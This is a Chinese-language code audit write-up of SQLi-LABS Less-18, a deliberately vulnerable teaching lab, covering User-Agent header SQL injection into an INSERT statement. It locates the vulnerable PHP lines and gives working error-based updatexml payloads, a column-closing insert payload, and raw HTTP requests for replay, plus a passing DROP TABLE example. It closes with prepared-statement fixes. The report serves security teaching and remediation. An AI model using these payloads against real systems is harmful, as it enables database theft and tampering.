Less-18 代码审计报告:HTTP Header(User-Agent)注入

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-18/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-18/index.php

// 第 66-67 行:直接取 User-Agent 头,未过滤
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

// 第 73-77 行:登录参数经过 check_input 过滤(uname/passwd 被转义,不易注入)
if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

// 第 97 行:登录查询(参数已过滤)
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);

// 第 100-116 行:登录成功后才执行 INSERT,注入点在 uagent
if($row1)
    {
    echo '<font color= "#FFFF00" font size = 3 >';
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";   ← 第 103 行
    mysql_query($insert);                                                                                                  ← 第 104 行
    ...
    echo 'Your User Agent is: ' .$uagent;
    echo "</font>";
    echo "<br>";
    print_r(mysql_error());                                                                                                ← 第 112 行

关键漏洞点:

• 第 66 行:$uagent = $_SERVER['HTTP_USER_AGENT']; 用户可控的 User-Agent 头未过滤。
• 第 103 行:INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname) —— $uagent 被单引号包裹拼接进 INSERT,构成注入点。
• 第 104 行:mysql_query($insert); 执行注入后的 SQL。
• 第 112 行:print_r(mysql_error()); 回显错误,可做报错注入。
• 执行前提:必须登录成功($row1 非空,第 100 行)才会执行 INSERT,即需使用 Dumb/Dumb 等合法凭据。

3. 漏洞分析

• 输入来源:$_SERVER['HTTP_USER_AGENT'],来自 HTTP 请求头,未过滤。
• SQL 拼接位置:INSERT INTO security.uagents (...) VALUES ('$uagent', '$IP', $uname) 的 VALUES 第一项。
• 闭合方式:单引号 '。INSERT 的 VALUES ('$uagent', ...) 中,注入 UA 以闭合 ',再补足后面的列。
• 过滤情况:开发者对 uname/passwd(POST 表单)用了 check_input(),但完全忽略了对 User-Agent 头的处理。
• 是否回显:第 112 行 print_r(mysql_error()) 在登录成功路径中回显 INSERT 的错误 → 报错注入可用。
• 插入型注入特点:插入的是字符串字面量,闭合后可将 payload 作为表达式计算并触发报错,或插入多行数据。

4. 利用方式

步骤一:确认注入点(需先登录成功)

以合法账号登录时,User-Agent 头设置为:

User-Agent: '   (单个单引号)

预期结果:登录成功(账号正确)后,INSERT 报语法错误,页面第 112 行回显 mysql_error() → 确认 UA 注入点。

步骤二:报错注入提取数据(核心 Payload)

将 User-Agent 设置为:

User-Agent: ' AND updatexml(1,concat(0x7e,database()),1) or '1'='1

原 SQL 变为:

INSERT INTO security.uagents (uagent, ip_address, username)
VALUES ('' AND updatexml(1,concat(0x7e,database()),1) or '1'='1', '127.0.0.1', 'Dumb')

预期结果:页面回显 XPATH syntax error: '~security'。

替换子查询可爆表名/字段/数据:

User-Agent: ' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '1'='1

步骤三:闭合补列(插入任意数据)

User-Agent: ', '1.1.1.1', 'admin')#

原 SQL 变为:

VALUES ('', '1.1.1.1', 'admin')#', '127.0.0.1', 'Dumb')

# 注释掉后续内容,成功向 uagents 表插入一行 ('', '1.1.1.1', 'admin'),实现无认证写入任意 UA/IP/用户名。

步骤四:进阶

• 若存在堆叠注入(需 mysql 驱动支持),可尝试 '; DROP TABLE ...; -- (本关不适用,仅说明风险);
• 观察 result.txt 日志确认 UA 被记录。

5. Yakit 重放数据包

说明:本关无 Cookie 依赖,但必须用合法账号(Dumb/Dumb)登录成功,注入点才会执行。payload 放在 User-Agent 头中。

报错注入报文(核心):

POST /sqli-labs/Less-18/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: ' AND updatexml(1,concat(0x7e,database()),1) or '1'='1
Content-Length: 37
Connection: close

uname=Dumb&passwd=Dumb&submit=Submit

闭合补列报文:

POST /sqli-labs/Less-18/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: ', '1.1.1.1', 'admin')#
Content-Length: 37
Connection: close

uname=Dumb&passwd=Dumb&submit=Submit

说明:Header 中的 payload 直接原样发送(无需 URL 编码);body 长度 uname=Dumb&passwd=Dumb&submit=Submit 共 37 字节。

6. 修复建议

修复一(首选):PDO 预处理语句(INSERT 参数化)

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("INSERT INTO security.uagents (uagent, ip_address, username) VALUES (:uagent, :ip, :uname)");
$stmt->bindValue(':uagent', $uagent, PDO::PARAM_STR);
$stmt->bindValue(':ip', $IP, PDO::PARAM_STR);
$stmt->bindValue(':uname', $uname, PDO::PARAM_STR);
$stmt->execute();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("INSERT INTO security.uagents (uagent, ip_address, username) VALUES (?, ?, ?)");
$stmt->bind_param('sss', $uagent, $IP, $uname);
$stmt->execute();

修复三:输入校验 + 最小权限

• 对 User-Agent 等 Header 输入同样过滤/校验(如限制长度、去除控制字符),或统一参数化。
• 关闭 display_errors,删除第 112 行 print_r(mysql_error()),错误写日志。
• 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。